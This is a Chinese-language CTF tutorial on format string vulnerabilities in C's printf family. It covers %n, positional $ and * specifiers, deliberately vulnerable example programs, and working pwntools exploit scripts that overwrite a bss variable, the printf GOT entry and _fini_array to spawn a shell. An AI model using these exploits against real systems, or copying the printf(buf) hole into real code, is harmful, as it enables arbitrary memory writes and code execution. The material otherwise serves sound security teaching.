格式化字符串漏洞与利用
格式化字符串漏洞
格式化字符串漏洞,是由编程时使用
printf
函数,在将数据格式化输出时产生的漏洞其中包括
printf
,fprintf
,sprintf
,snprintf
,vprintf
,vfprintf
,vsprintf
,vsnprintf
等函数,它们可以将数据格式化后输出一旦程序编写不规范,比如正确的写法是:
printf("%s", ctfer)
,偷懒写成了:printf(ctfer)
,此会存在格式化字符串漏洞
这种漏洞在目前的真实环境下出现的比较少,因为现在的编译器在编译的过程中可以识别到该漏洞
产生原理
printf()
是 C 语言中少有的支持可变参数的库函数,被调用者无法知道函数调用之前有多少个参数被压入栈中,因此printf()
要求传入一个format
参数以指定参数的数量和类型,然后printf()
会严格的按照format
参数所规定的格式逐个从栈中取出并输出参数
- 示例一
printf("%s %s %s %s %s\n", str1, str2, str3, str4, str5)
若 printf()
中少于 6 个参数,则直接打印寄存器中的值
printf()
按照参数的顺序,从左到右依次对应寄存器:RDI,RSI,RDX,RCX,R8,R9
- 示例二
printf("%s %s %s %s %s %s %s %s %s %s %s\n", str1, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11)
若 printf()
中多于 6 个参数,从第 7 个参数开始打印栈中的数据
也就是说,
printf()
打印数据的顺序为:RDI,RSI,RDX,RCX,R8,R9,栈空间
- 示例三
如果给出的 format
参数的个数 > 待输出的参数数量
int main()
{
printf("%s %d %d %d %d %x %x", "num", 1, 2, 3, 4);
return 0;
}
输出:
num 1 2 3 4 ed5ffcc0 3b5b143f
虽然给了 7 个格式化输出的参数,但是实际压入栈中的参数只有 5 个,所以
printf
会输出两个本不应该输出的地址内容,也就泄露出了栈中的数据
printf 的栈结构
如果格式化输出参数是 %6$n
,就是把 %6$n
之前输出的长度赋值给 printf()
的第 6 个参数,但是 printf
函数不知道自己的栈有多大,所以只需要把这个偏移数值定位到能够修改的内存空间
以下是 printf()
的栈结构示例:
格式化输出说明符
%n
可以将一个int
型的值(4 字节)写入指定的地址中,可以实现栈空间的随意改写除
%n
以外,还有%hn
、%hhn
、%lln
,分别将 2 字节、1 字节、8 字节写入指定的地址
助记方法:
h 就是 half(一半)的意思,
%n
是 4 字节,因此%hn
是 2 字节,%hhn
是 1 字节
关于 $ 的用法
$
通常配合%
一起使用,用来指定参数,用法为:%参数顺序$格式化说明符
示例:
#include <stdio.h>
int main(int argc,char* argv[])
{
char str1[]="hello ";
char str2[]="world ";
char str3[]="I ";
char str4[]="am ";
char str5[]="Tom ";
printf("%2$s %s %s %s %s %s\n", str1, str2, str3, str4, str5 );
return 0;
}
输出:
world hello world I am Tom // %2$s 相当于按照 %s 的格式,输出第 2 个数据
通过 %n$p
,合理控制 n
的值就能准确获取栈中的某个数据,这也是格式化字符串漏洞的关键
这种方法的好处在于,无需输入繁琐的参数就可以快速、准确地获取栈中的某个数据
例如,要想泄露出第十个数据的地址,
printf()
需要写 10 个%p
,但使用这种方式只需要一个%10$p
就可以解决在 64 位程序中,使用
%6$p
即可输出 RSP 所指向的地址(即栈顶元素)中存放的指针在 32 位程序中,
%0$p
即代表 RSP 所指向的地址(即栈顶元素)中存放的指针
关于 %n 的用法
%n
是一个特殊的格式说明符,它不打印某些内容,而是用于获取到目前为止写入到输出中的字符数量,printf()
将出现在%n
之前的字符数量存储到对应的参数所指向的变量中
示例:
#include <stdio.h>
int main()
{
int c;
printf("Welcome to uf4te %nHello ", &c);
printf("%d", c);
return 0;
}
输出:
Welcome to uf4te Hello 17 // 这里的 %n 并不输出,而是将 %n 之前的字符数量 17 赋值给变量 c
也就是说,*
%n
参数把他前面输出的字符数赋值给了变量c
*因此,只要更改
c
所对应栈中地址的值,就可以把想要的数值赋给对应地址
利用 $ 和 %n 读取和修改数据
- 读取栈上的数据
%参数顺序$格式化说明符
// 例如:%7$lx
// 表示:以 lx 的格式读取第 7 个参数的值
// 这里的格式化说明符不包括 %n、%hn、%hhn、%lln 等
在 64 位程序中,使用
%6$p
即可输出 RSP 所指向的地址(即栈顶元素)中存放的指针在 32 位程序中,
%0$p
即代表 RSP 所指向的地址(即栈顶元素)中存放的指针
- 修改栈上的数据
%数值c%参数顺序$格式化说明符
// 例如:%100c%12$hhn
// 表示:向第 12 个参数写入 100 这个数值(十进制)
// 这里的格式化说明符只能用 %n、%hn、%hhn、%lln 等
关于 * 的用法
在格式化字符串中,使用
*
也可以用来修改栈上的数据,但与$
和%n
不同在于:(1)
$
和%n
具体要修改的数值是我们自己通过%数值c
定义的(2)
*
要修改的数值是以复制的形式实现的,因此不能由我们自己来定义
*
的使用格式:
%*参数顺序$c%参数顺序$格式化说明符
例题:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int dofunc(){
char buf1[8] = {};
char buf2[0x10];
char buf3[8] = {};
long long int *p = (long long int) buf1;
int fd = open("/dev/random", 0);
int d = 0;
read(fd, buf1, 2);
read(fd, buf3, 2);
close(fd);
puts("input:");
read(0, buf2, 0x10);
printf(buf2);
if(!strncmp(buf1, buf3, 2))
{
system("/bin/sh");
}
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_str_level_star.c -o fmt_str_level_star_x64
//gcc -m32 fmt_str_level_star.c -o fmt_str_level_star_x86
在该例题中,buf1
和 buf3
是随机数,当这两个值相等时即可获得 shell
而 buf2
是由我们输入的,且 printf(buf2)
存在格式化字符串漏洞,因此思路就是利用格式化字符串漏洞将 buf1
和 buf3
修改为相等
以 64 位程序为例,根据调试可知:
我们输入的 buf2
在栈中位于 buf1
和 buf3
下方
在 64 位程序中 %6$p
即是 RSP 所在位置,而地址 0x7fffffffda98
处指向 buf1 = 0x72b
所在的地址 0x7fffffffdaa0
,位于第 7 个位置
buf3
所存放的位置则位于第 9 个位置,因此只需要通过格式化字符串漏洞将 buf3
的值赋给地址 0x7fffffffda98
处指向的位置
由于 buf1
和 buf3
都是 2 字节,于是使用:%*9$c%7$hn
即可发现执行 printf(%*9$c%7$hn)
后,buf1
与 buf3
相等
漏洞的利用
漏洞利用流程
在 pwn 题中遇到格式化字符串漏洞时,一般会分两大步实现漏洞利用:
构造一个 payload,寻找输入字符串到栈顶指针的偏移
利用找到的偏移,在偏移处填入目的地址可以实现目的地址的内容泄露以及内容改写
泄露任意地址内容
32 位程序的代码示例:
puts("please tell me your name:");
read(0, &v5, 0xAu);
puts("leave your message please:");
fgets((char *)&v8, 100, stdin);
printf("hello %s", &v5);
puts("your message is:");
printf((const char *)&v8);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
看到第 7 行,printf
输出了在前面输入的 v8
变量,但是并没有给出任何格式化参数
我们可以通过构造 v8
的值来让 printf
误以为程序给出了格式化参数,从而按照我们的意思输出我们所需的值
程序输入输出示例:
# please tell me your name:
aaaa
# leave your message please:
AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
# hello aaaa
# your message is:
AAAA 0xffffd13e 0xf7fae580 0xffffd19c 0xf7ffdae0 0x1 0xf7fcb410 0x61610001 0xa6161 (nil) 0x41414141 0x25207025 0x70252070 0x20702520 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025 0x20207025
# Thank you!
可以看到我们输入的 AAAA
对应的 0x41414141
在第 10 个位置(%p
是将 AAAA
以十六进制地址的形式打印出来)
因为从 AAAA
到 0x41414141
之间有 9 个输出值,所以 v8
在相对第 10 个参数位置
显然,程序泄露出了
printf
函数的栈帧中输出字符串后 19 个内存单元的值,理论上来说,我们可以使用这个漏洞任意读取栈中的值其实
printf
函数根本没有这么多个参数,只不过他自己并不知道
构造 exp 的实例
例题来自攻防世界:【攻防世界】CGfsb
该程序为 32 位程序,main 函数:
pwnme
存储在 bss 段上:
编写 exp,利用格式化字符串漏洞修改 bss 段上 pwnme
的值:
from pwn import *
io = process("./CGfsb")
pwnme_addr = 0x0804A068 # pwnme 地址在伪代码中双击查看
payload = p32(pwnme_addr) + 'aaaa' + '%10\$n' # pwnme 的地址需要经过 32 位编码转换,是 4 字节,而 pwnme 的值需要等于 8,所以需要在 %10\$n 之前凑够 8 个字节,这里用 ‘aaaa’ 再凑 4 个字节
# 由于是 32 位程序,因此根据泄漏的地址,pwnme 位于第 10 个地址的位置
io.recvuntil("please tell me your name:\n")
io.sendline('aaaa')
io.recvuntil("leave your message please:\n")
io.sendline(payload)
io.interactive()
其他例题见:《【攻防世界】string》、《【你想有多PWN】fmt_test2》、《【HDCTF 2023】KEEP ON》 等
格式化字符串利用工具
注意:如果程序开启 PIE,需要先泄露出相关函数的真实地址
(1)如果是泄露
puts()
或printf()
之类的函数地址,可以先利用格式化字符串漏洞泄露出栈上的返回地址,例如返回地址为:main + 30
,将该地址减去 30 获得main()
的真实地址,然后利用 ELF 文件中main()
与puts()
的偏移来计算puts()
或printf()
之类的真实 got 表地址(2)如果是获取
system()
地址或b'/bin/sh'
的地址,可以利用 libcsearch 来寻找
互联网脚本
利用格式化字符串漏洞改写 printf()
的 GOT 表地址为 system()
:
def fmt(prev, word, index):
fmtstr = ""
if prev < word:
result = word - prev
fmtstr += "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr.encode('utf-8')
def fmt_str(offset, size, addr, target):
# offset:偏移位置; size:4?8; addr:写入地址; target:写入内容
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
32 位程序调用示例:
payload_write_printf_got = fmt_str(7, 4, printf_got_addr, system_plt)
该脚本在部分情况下可行(32 位程序),但不完善,不太建议使用
该脚本发送的数据会先将函数地址放在前面,将
%数值c%参数顺序$格式化说明符
放在后面,这种方式在 64 位程序中通常会出问题假设:在 64 位程序中,某个函数的 GOT 表地址为
0x112233445566
(总共 8 字节,但通常只使用 6 字节,最高两位为0x00
)当我们使用
payload = p64(0x112233445566) + b'%6$p'
进行函数的真实地址的泄露时,发送地址时的顺序为:0x66、0x55、0x44 ...... 0x11、0x00、0x00
(小端序)当格式化字符串遇到
b'\x00'
时会被截断,后面的b'%6$p'
无法传入,导致我们构造失败
fmtstr_payload()
官方文档:pwnlib.fmtstr — Format string bug exploitation tools — pwntools 4.12.0 documentation
fmtstr_payload()
是 pwntools 里面的一个工具,和前面的互联网脚本功能类似,但是 fmtstr_payload()
更加的完善,可以简化对格式化字符串漏洞的利用过程,强烈推荐使用这个
一般常用的调用方法: (32 位和 64 位程序均可使用)
# 格式:fmtstr_payload(偏移,{源地址:目的地址})
payload = fmtstr_payload(offset, {printf_got_addr: system_plt})
也可以一次性同时修改多个地址:
# 格式:fmtstr_payload(偏移,{源地址1:目的地址1, 源地址2: 目的地址2})
payload = fmtstr_payload(offset, {_fini_array_addr: main_addr, printf_got_addr: system_plt})
完整的调用方法:
fmtstr_payload(offset, writes, numbwritten = 0, write_size = 'byte')
- 第一个参数
offset
表示格式化字符串的偏移- 第二个参数
writes
表示需要利用 %n 写入的数据,采用字典形式,如果需要改写printf()
的 GOT 表地址为system_plt
,就写成{printf_got_addr: system_plt}
- 第三个参数
numbwritten
表示已经输出的字符个数,默认值为 0- 第四个参数
write_size
表示写入的方式:字节(byte)、双字节(short)、四字节(int),对应 hhn、hn、n,默认值为 byte,即按照 hhn 写入最终
fmtstr_payload
函数返回的就是需要发送的 payload
杂项
只能执行一次的格式化字符串
大多数格式化字符串的题目会使用到
while()
之类的循环,以此来达到反复泄露并利用的目的但也有部分情况下没有循环,只能利用一次格式化字符串漏洞,这时候常规方法就行不通了
不过,这种利用方法需要的条件比较苛刻,例如:关闭 PIE
一个 64 位的例题:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int sys(char *cmd){
system(cmd);
}
int init_func(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
return 0;
}
int dofunc(){
char buf[0x100];
puts("input:");
read(0, buf, 0x100);
printf(buf);
return 0;
}
int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_str_once_sys.c -no-pie -z norelro -o fmt_str_once_sys_x64_nopie
//gcc -m32 fmt_str_once_sys.c -no-pie -z norelro -o fmt_str_once_x86
这里不存在 while()
之类的循环,只能利用一次格式化字符串漏洞
但是这样会发现我们什么也做不了,因为无论是通过将 printf()
的 GOT 表地址改为 system_plt
,还是直接修改栈的返回地址为 onegadget
,都至少需要两次漏洞的利用
所以这里需要想办法让 main()
能够执行两次
Linux 下程序执行流程
在 Linux 中,程序的运行流程如下图所示:
整个程序的大致执行流程按顺序为:
_start
__libc_start_main
init
.init_array[0]
.init_array[1]
......
.init_array[n]
main
fini
.fini_array[n]
.fini_array[n-1]
......
.fini_array[0]
在 IDA 中可以看到 _init_array
和 _fini_array
这两个数组:
使用 Ctrl + s
可以看到各个段所在地址:
因此,我们可以通过修改 _fini_array
数组中存放的函数地址为 main()
地址,就可以实现在原来真正执行 main()
之后,还能再执行一次 _fini_array
数组中的 main()
但是注意:这样的操作并不能实现无限循环执行
main()
在原来真正的
main()
结束后退出程序时,会调用_dl_fini
这个函数,_dl_fini
会执行fini_array
内的函数
main()
返回到_dl_fini
函数后,会将_fini_array
的地址 -4,因为_fini_array
是一个数组,所以这个 -4 的操作相当于将数组的下标 -1,相当于遍历_fini_array
这个数组并执行其中的函数,每执行一个_fini_array
内的函数都会返回到_dl_fini
函数继续向下执行,而_fini_array
内的函数是有限的,因此迟早会超出_fini_array
的范围,当然也就不可能实现无限循环的效果了最终,
_fini_array
边界处的函数是frame_dummy
,_dl_fini
会检查此时要执行的函数是否和_fini_array
边界处的函数相同,如果相同的话就不再执行
实现对 _fini_array 的修改
由于没有开启 PIE,因此暂时无需泄漏地址,IDA 中的偏移地址就是真实地址
得到 _fini_array
的地址为 0x4031D0
首先利用 fmtstr_payload()
将 _fini_array_addr
改为 main_addr
_fini_array_addr = 0x4031D0
main_addr = elf.symbols["main"]
payload = fmtstr_payload(6, {_fini_array_addr: main_addr})
debug()
io.sendline(payload)
通过调试可以看到,原来真正的 mian()
执行结束后,又输出了一次 "input:\n"
,证明我们已经成功让 main()
执行了第二次
但是由于我们只有两次机会,其中一次机会还得利用 fmtstr_payload()
将 _fini_array_addr
改为 main_addr
因为我们还需要利用 fmtstr_payload()
将 printf_got_addr
修改为 system_plt
,最后还得再发送 b'/bin/sh'
来触发,所以这样次数还是不够用
因此我们可以利用 fmtstr_payload()
能一次性修改多个地址的特性,在第一次格式化字符串利用时同时将 _fini_array_addr
改为 main_addr
、将 printf_got_addr
修改为 system_plt
payload = fmtstr_payload(6, {_fini_array_addr: main_addr, printf_got_addr: system_plt})
当再次执行 main()
的时候,发送 b'/bin/sh'
来触发即可
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./fmt_str_once_sys_x64_nopie")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./fmt_str_once_sys_x64_nopie")
# 附加 gdb 调试
def debug(cmd=""):
gdb.attach(io, cmd)
pause()
_fini_array_addr = 0x4031D0
main_addr = elf.symbols["main"]
print("main_addr -->", hex(main_addr))
system_addr = elf.symbols["sys"] # system_addr = 0x4011D6
printf_got_addr = elf.got["printf"]
print("printf_got_addr -->", hex(printf_got_addr))
payload = fmtstr_payload(6, {_fini_array_addr: main_addr, printf_got_addr: system_addr})
# debug()
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
# 与远程交互
io.interactive()